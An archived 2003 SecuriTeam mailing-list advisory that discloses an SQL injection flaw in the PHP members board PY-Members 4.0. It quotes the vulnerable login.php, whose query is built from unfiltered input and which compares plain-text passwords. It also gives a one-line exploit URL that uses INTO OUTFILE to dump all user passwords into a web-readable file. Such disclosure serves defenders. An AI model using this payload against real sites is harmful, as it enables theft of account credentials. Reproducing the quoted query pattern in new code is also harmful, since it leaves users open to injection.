[UNIX] PY-Members Vulnerable to SQL Injection

support_at_securiteam.com
Date: 04/28/03

  • Next message: support_at_securiteam.com: "[UNIX] Poppassd Local Root Vulnerability and Exploit (smbpasswd)"
    To: list@securiteam.com
    Date: 28 Apr 2003 17:38:28 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      PY-Members Vulnerable to SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

    PY-Members is "a PHP based Members board. The Members board is completely
    administrable via a provided web interface". The product has been found to
    contain an SQL Injection vulnerability.

    DETAILS

    Vulnerable systems:
     * PY-Members version 4.0

    Vulnerable code:
    The file login.php contains the following code:

    <?
    session_start();
    session_name("pys");
    include("config.php");
    include("functions.php");

    est_vide($login,"Vous n\'avez pas saisi de login !");
    est_vide($pass,"Vous n\'avez pas saisi de mot de passe !");
    connexiondb();
    $sql = "SELECT passwd FROM $db_table WHERE login='$login'";
    $req = mysql_query($sql) or die('Erreur SQL
    !<br>'.$sql.'<br>'.mysql_error());
    $data = mysql_fetch_array($req);
    if($data['passwd'] != $pass)
    {
    echo "<p>Mauvais login / password. Merci de recommencer</p>";
    mysql_close();
    exit;
    }
    else
    {
    $ploginy=$login;
    session_register('ploginy');
    $ip=$REMOTE_ADDR;
    $host=gethostbyaddr($ip);
    $log=date("d/m/Y à H\hi | ");
    $log.=$ip." | ".$host;
    $action = mysql_query("UPDATE $db_table SET lastlog='$log' WHERE
    login='$ploginy'") or die (mysql_error()) ;
    mysql_close();
    Header("Location: membre.php");
    }
    ?>

    As you can see, no form of filtering is preformed to the input provided by
    the user.

    Exploit:
    By sending the following URL
    http://[target]/login.php?login='%20OR%20ISNULL(NULL)%20INTO%20OUTFILE%20'/path/to/site/file.txt&pass=1

    The sever will save all users passwords into the file
    http://[target]/file.txt.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: support_at_securiteam.com: "[UNIX] Poppassd Local Root Vulnerability and Exploit (smbpasswd)"

    Relevant Pages

    • [UNIX] DSH HOME Environment Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get Thawte's New Step-by-Step SSL Guide for MSIIS ... This vulnerability will allow attackers to cause the product crash. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NT] RSA ClearTrust Cross Site Scripting Issues
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The RSA ClearTrust is a Web access ... A cross-site scripting vulnerability in the product allows an attacker to ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Owl Intranet Engine Security Bypassing
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Owl is a multi user document repository ... A vulnerability in the product allows remote attackers to ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NEWS] Directory Traversal Vulnerability in Phpimglist
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Phpimglist creates a gallery images from a certain directory. ... There is a vulnerability in phpimglist which allows a user to traverse ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] Zeroo Webserver Remote Directory Traversal Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Vulnerability> Zeroo Folder Traversal Vulnerability, ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)